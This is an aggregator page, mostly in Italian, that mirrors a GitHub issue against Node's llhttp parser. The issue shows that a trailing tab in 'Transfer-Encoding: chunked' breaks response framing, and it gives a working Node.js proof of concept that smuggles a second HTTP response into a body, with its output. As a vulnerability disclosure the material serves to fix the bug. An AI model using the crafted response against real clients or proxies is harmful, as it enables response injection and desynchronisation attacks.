nodejs / nodejs/llhttp

HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`

Aperta
#876 1 commento 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Lingua principale
TypeScript
Stelle
1.9k
Fork
237
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Descrizione

RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.

Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.

PoC

const http = require('http'), net = require('net');

const RESP =
  'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' +   // note the trailing TAB
  '5\r\nhello\r\n0\r\n\r\n' +                                   // a complete chunked body
  'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!';      // a second, separate response

const origin = net.createServer(c =>
  c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));

origin.listen(0, () => http.get({ port: origin.address().port }, res => {
  let body = '';
  res.on('data', c => body += c);
  res.on('end', () => {
    console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
    console.log('res.complete                     =', res.complete);
    console.log('body                             =', JSON.stringify(body));
    origin.close();
  });
}));
res.headers['transfer-encoding'] = "chunked"
res.complete                     = true
body                             = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"

Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.

The same bytes, parsed with the tab stripped, yield a different message count:

tab NOT stripped (llhttp):   headers_complete chunked=0 keepalive=0   body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped:                headers_complete chunked=1 keepalive=1   body(5) 'hello'   message_complete
                             headers_complete status=200 content_length=9  body(9) 'INJECTED!'  message_complete

One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.

Guida per i contributori

Apri la guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Direzione di ricerca

Inizia con i percorsi header_value_te_chunked_last e header_value_te_token, quindi verifica come forbidAfterChunkedInRequest e lenient_transfer_encoding influenzano il parsing delle risposte. Riproduci il PoC Node.js fornito e verifica che un HTAB finale venga gestito come OWS rimosso, con framing chunked, consegna corretta del body e confini dei messaggi coerenti.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Valutazione

Stack tecnologico
node.js, typescript
Ambito
backend-api-design, security
Tipo di issue
Bug
Difficoltà
4/5
Tempo stimato
3-5 giorni
Stato di attività
Attiva
Chiarezza
Abbastanza chiara
Idoneità per principianti
52/100

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.